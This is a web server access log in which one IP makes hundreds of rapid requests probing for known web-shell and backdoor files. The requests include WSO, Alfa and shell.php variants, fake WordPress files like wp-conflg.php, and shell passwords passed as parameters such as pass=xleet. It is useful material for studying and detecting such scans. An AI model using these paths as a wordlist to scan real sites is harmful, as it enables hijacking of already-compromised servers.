"-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:00 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:01 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:03 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:04 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:05 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:06 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:08 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:09 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:10 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:11 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:12 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:13 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:13 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:16 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:17 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:18 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:20 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:21 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:22 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:24 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:25 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:25 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:26 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:28 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:29 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:30 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:31 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:32 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:33 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:34 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:34 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:35 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:36 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:37 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:38 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:39 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:40 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:41 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:41 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:42 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:43 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:43 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:44 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:45 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:45 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:46 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:46 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:47 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:48 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:49 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:49 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:50 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:51 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:52 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:52 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:54 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:55 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:57 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:27:59 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:02 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:03 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:04 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:05 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:05 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:06 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:07 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:08 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:09 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:11 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:12 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:13 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:15 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:16 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:18 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:20 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:21 -0400] "GET //wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:22 -0400] "GET //wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:23 -0400] "GET //wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:24 -0400] "GET //wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:25 -0400] "GET //wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:25 -0400] "GET //wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:26 -0400] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:27 -0400] "GET //wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:28 -0400] "GET //wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:28 -0400] "GET //wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:29 -0400] "GET //wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:30 -0400] "GET //wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:30 -0400] "GET //wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:31 -0400] "GET //wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:32 -0400] "GET //wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:33 -0400] "GET //wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:36 -0400] "GET //wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:37 -0400] "GET //wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:38 -0400] "GET //wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:39 -0400] "GET //wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:40 -0400] "GET //wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:41 -0400] "GET //wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:42 -0400] "GET //wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:43 -0400] "GET //wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:43 -0400] "GET //wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:44 -0400] "GET //wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:45 -0400] "GET //wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:45 -0400] "GET //wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:46 -0400] "GET //wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:47 -0400] "GET //wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:48 -0400] "GET //wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:49 -0400] "GET //wp-content/index.php?pass=cfwk HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:51 -0400] "GET //wp-content/index.php?pass=xleet HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:52 -0400] "GET //wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:52 -0400] "GET //wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:53 -0400] "GET //wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:54 -0400] "GET //wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:55 -0400] "GET //wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:56 -0400] "GET //wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:57 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:57 -0400] "GET //wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:58 -0400] "GET //wp-content/themes/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:28:59 -0400] "GET //wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:00 -0400] "GET //wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:00 -0400] "GET //wp-content/themes/twentyseventeen/page/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:01 -0400] "GET //wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:01 -0400] "GET //wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:02 -0400] "GET //wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:02 -0400] "GET //wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:03 -0400] "GET //wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:04 -0400] "GET //wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:04 -0400] "GET //wp-includes/blocks/table/them/tmpl/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:05 -0400] "GET //wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:06 -0400] "GET //wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:06 -0400] "GET //wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:07 -0400] "GET //wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:07 -0400] "GET //wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:08 -0400] "GET //wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:08 -0400] "GET //wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:09 -0400] "GET //wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:10 -0400] "GET //ws.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:11 -0400] "GET //zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:12 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:12 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:13 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:13 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:14 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:15 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:15 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:16 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:17 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:17 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:18 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:19 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:20 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:21 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:22 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:22 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:23 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:24 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:25 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:26 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:27 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:28 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:30 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:31 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:32 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:32 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:33 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:34 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:36 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:36 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:37 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:38 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:38 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:39 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:41 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:43 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:44 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:45 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:46 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:47 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:48 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:49 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:51 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:52 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:53 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:54 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:54 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:55 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:56 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:56 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:29:58 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:00 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:01 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:02 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:03 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:06 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:08 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:10 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:11 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:15 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:19 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:21 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:22 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:23 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:25 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:26 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:27 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:28 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:29 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:30 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:31 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:31 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:32 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:33 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:33 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:34 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:35 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:35 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:36 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:37 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:38 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:41 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:42 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:44 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:44 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:46 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:47 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:48 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:49 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:50 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:51 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:52 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:53 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:54 -0400] "GET 